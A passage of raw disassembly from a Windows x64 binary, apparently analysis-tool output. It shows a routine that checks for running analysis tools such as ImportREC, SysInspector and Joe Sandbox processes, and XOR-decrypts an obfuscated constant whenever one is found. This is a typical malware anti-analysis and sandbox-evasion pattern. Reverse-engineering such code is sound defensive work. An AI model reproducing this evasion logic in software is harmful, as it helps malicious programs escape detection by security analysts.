mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x1c8], 0
movdqu xmmword [rbp + 0x1d8], xmm6
test rbx, rbx
je 0x1400195ce
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x540]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x540], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x548], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x550], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x558], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x540]
vmovdqa ymmword [rbp + 0x540], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.ImportREC.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0x1e8]
mov r8d, 0xd
movups xmmword [rbp + 0x1e8], xmm0
movdqu xmmword [rbp + 0x1f8], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x1e8]
call fcn.140017de0
mov rdx, qword [rbp + 0x200]
mov rbx, rax
cmp rdx, 0xf
jbe 0x14001964c
mov rcx, qword [rbp + 0x1e8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019647
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x1e8], 0
movdqu xmmword [rbp + 0x1f8], xmm6
test rbx, rbx
je 0x140019750
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x560]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x570], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x578], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x560]
vmovdqa ymmword [rbp + 0x560], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, [0x140079308]
xorps xmm1, xmm1
lea rcx, [rbp + 0x208]
mov r8d, 0xb
movups xmmword [rbp + 0x208], xmm0
movdqu xmmword [rbp + 0x218], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x208]
call fcn.140017de0
mov rdx, qword [rbp + 0x220]
mov rbx, rax
cmp rdx, 0xf
jbe 0x1400197ce
mov rcx, qword [rbp + 0x208]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400197c9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x208], 0
movdqu xmmword [rbp + 0x218], xmm6
test rbx, rbx
je 0x1400198d2
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x580]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x590], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x598], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x580]
vmovdqa ymmword [rbp + 0x580], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, [0x140079318]
xorps xmm1, xmm1
lea rcx, [rbp + 0x228]
mov r8d, 0xa
movups xmmword [rbp + 0x228], xmm0
movdqu xmmword [rbp + 0x238], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x228]
call fcn.140017de0
mov rdx, qword [rbp + 0x240]
mov rbx, rax
cmp rdx, 0xf
jbe 0x140019950
mov rcx, qword [rbp + 0x228]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001994b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x228], 0
movdqu xmmword [rbp + 0x238], xmm6
test rbx, rbx
je 0x140019a54
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x5a0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5a0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5a8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5b0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5b8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x5a0]
vmovdqa ymmword [rbp + 0x5a0], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, [0x1400792d0]
xorps xmm1, xmm1
lea rcx, [rbp + 0x248]
mov r8d, 0xb
movups xmmword [rbp + 0x248], xmm0
movdqu xmmword [rbp + 0x258], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x248]
call fcn.140017de0
mov rdx, qword [rbp + 0x260]
mov rbx, rax
cmp rdx, 0xf
jbe 0x140019ad2
mov rcx, qword [rbp + 0x248]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019acd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x248], 0
movdqu xmmword [rbp + 0x258], xmm6
test rbx, rbx
je 0x140019bd6
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x5c0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5d0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5d8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x5c0]
vmovdqa ymmword [rbp + 0x5c0], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.SysInspector.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0x268]
mov r8d, 0x10
movups xmmword [rbp + 0x268], xmm0
movdqu xmmword [rbp + 0x278], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x268]
call fcn.140017de0
mov rdx, qword [rbp + 0x280]
mov rbx, rax
cmp rdx, 0xf
jbe 0x140019c54
mov rcx, qword [rbp + 0x268]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019c4f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x268], 0
movdqu xmmword [rbp + 0x278], xmm6
test rbx, rbx
je 0x140019d58
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x5e0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x5e0]
vmovdqa ymmword [rbp + 0x5e0], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, [0x140079340]
xorps xmm1, xmm1
lea rcx, [rbp + 0x288]
mov r8d, 0x11
movups xmmword [rbp + 0x288], xmm0
movdqu xmmword [rbp + 0x298], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x288]
call fcn.140017de0
mov rdx, qword [rbp + 0x2a0]
mov rbx, rax
cmp rdx, 0xf
jbe 0x140019dd6
mov rcx, qword [rbp + 0x288]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019dd1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x288], 0
movdqu xmmword [rbp + 0x298], xmm6
test rbx, rbx
je 0x140019eda
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x600]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x600], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x608], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x610], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x618], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x600]
vmovdqa ymmword [rbp + 0x600], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, [0x140079358]
xorps xmm1, xmm1
lea rcx, [rbp + 0x2a8]
mov r8d, 0xf
movups xmmword [rbp + 0x2a8], xmm0
movdqu xmmword [rbp + 0x2b8], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x2a8]
call fcn.140017de0
mov rdx, qword [rbp + 0x2c0]
mov rbx, rax
cmp rdx, 0xf
jbe 0x140019f58
mov rcx, qword [rbp + 0x2a8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019f53
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x2a8], 0
movdqu xmmword [rbp + 0x2b8], xmm6
test rbx, rbx
je 0x14001a05c
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x620]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x620], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x628], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x630], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x638], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x620]
vmovdqa ymmword [rbp + 0x620], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, [0x140079368]
xorps xmm1, xmm1
lea rcx, [rbp + 0x2c8]
mov r8d, 0xd
movups xmmword [rbp + 0x2c8], xmm0
movdqu xmmword [rbp + 0x2d8], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x2c8]
call fcn.140017de0
mov rdx, qword [rbp + 0x2e0]
mov rbx, rax
cmp rdx, 0xf
jbe 0x14001a0da
mov rcx, qword [rbp + 0x2c8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a0d5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x2c8], 0
movdqu xmmword [rbp + 0x2d8], xmm6
test rbx, rbx
je 0x14001a1de
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x640]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x640], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x648], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x650], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x658], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x640]
vmovdqa ymmword [rbp + 0x640], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, [0x140079378]
xorps xmm1, xmm1
lea rcx, [rbp + 0x2e8]
mov r8d, 0xa
movups xmmword [rbp + 0x2e8], xmm0
movdqu xmmword [rbp + 0x2f8], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x2e8]
call fcn.140017de0
mov rdx, qword [rbp + 0x300]
mov rbx, rax
cmp rdx, 0xf
jbe 0x14001a25c
mov rcx, qword [rbp + 0x2e8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a257
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x2e8], 0
movdqu xmmword [rbp + 0x2f8], xmm6
test rbx, rbx
je 0x14001a360
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x660]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x660], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x668], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x670], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x678], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x660]
vmovdqa ymmword [rbp + 0x660], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.joeboxcontrol.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0x308]
mov r8d, 0x11
movups xmmword [rbp + 0x308], xmm0
movdqu xmmword [rbp + 0x318], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x308]
call fcn.140017de0
mov rdx, qword [rbp + 0x320]
mov rbx, rax
cmp rdx, 0xf
jbe 0x14001a3de
mov rcx, qword [rbp + 0x308]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a3d9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x308], 0
movdqu xmmword [rbp + 0x318], xmm6
test rbx, rbx
je 0x14001a4e2
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x680]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x680], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x688], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x690], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x698], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x680]
vmovdqa ymmword [rbp + 0x680], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, [0x1400793c8]
xorps xmm1, xmm1
lea rcx, [rbp + 0x328]
mov r8d, 0xb
movups xmmword [rbp + 0x328], xmm0
movdqu xmmword [rbp + 0x338], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x328]
call fcn.140017de0
mov rdx, qword [rbp + 0x340]
mov rbx, rax
cmp rdx, 0xf
jbe 0x14001a560
mov rcx, qword [rbp + 0x328]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a55b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a6d9
call fcn.14004cc34
mov byte [rbp + 0x328], 0
movdqu xmmword [rbp + 0x338], xmm6
test rbx, rbx
je 0x14001a664
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x6a0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6a0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6a8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x6a0]
vmovdqa ymmword [rbp + 0x6a0], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, str.joeboxserver.exe
xorps xmm1, xmm1
lea rcx, [rbp + 0x348]
mov r8d, 0x10
movups xmmword [rbp + 0x348], xmm0
movdqu xmmword [rbp + 0x358], xmm1
call fcn.14000be70
lea rcx, [rbp + 0x348]
call fcn.140017de0
mov rdx, qword [rbp + 0x360]
mov rbx, rax
cmp rdx, 0xf
jbe 0x14001a6e5
mov rcx, qword [rbp + 0x348]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a6e0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a6e0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004cc34
mov byte [rbp + 0x348], 0
movdqu xmmword [rbp + 0x358], xmm6
test rbx, rbx
je 0x14001a7e9
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x6c0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6d0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6d8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x6c0]
vmovdqa ymmword [rbp + 0x6c0], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, [0x140079298]
xorps xmm1, xmm1
lea rcx, [rbp + 0xc80]
mov r8d, 9
movups xmmword [rbp + 0xc80], xmm0
movdqu xmmword [rbp + 0xc90], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xc80]
call fcn.140017de0
lea rcx, [rbp + 0xc80]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001a927
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x6e0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e0], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6e8], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6f0], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6f8], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x6e0]
vmovdqa ymmword [rbp + 0x6e0], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
lea rdx, [0x140079290]
xorps xmm1, xmm1
lea rcx, [rbp + 0xca0]
mov r8d, 7
movups xmmword [rbp + 0xca0], xmm0
movdqu xmmword [rbp + 0xcb0], xmm1
call fcn.14000be70
lea rcx, [rbp + 0xca0]
call fcn.140017de0
lea rcx, [rbp + 0xca0]
mov rbx, rax
call fcn.140009290
test rbx, rbx
je 0x14001aa65
movabs rax, 0x730a43697542140b
lea rcx, [rbp + 0x700]
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x700], rax
movabs rax, 0xc3b6a2eb9a276f56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x708], rax
movabs rax, 0x399d495f7b371d9e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x710], rax
movabs rax, 0xe0ef76002b292a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x718], rax
movabs rax, 0x1f662a021e31757f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc0], rax
movabs rax, 0xe3d08dcbff5f0a78
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfc8], rax
movabs rax, 0x51fe3f2c5b5a74b1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd0], rax
movabs rax, 0xe08a0e65055d5962
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfd8], rax
vmovdqu ymm0, ymmword [rbp + 0xfc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x700]
vmovdqa ymmword [rbp + 0x700], ymm1
jmp 0x14001db7c
xorps xmm0, xmm0
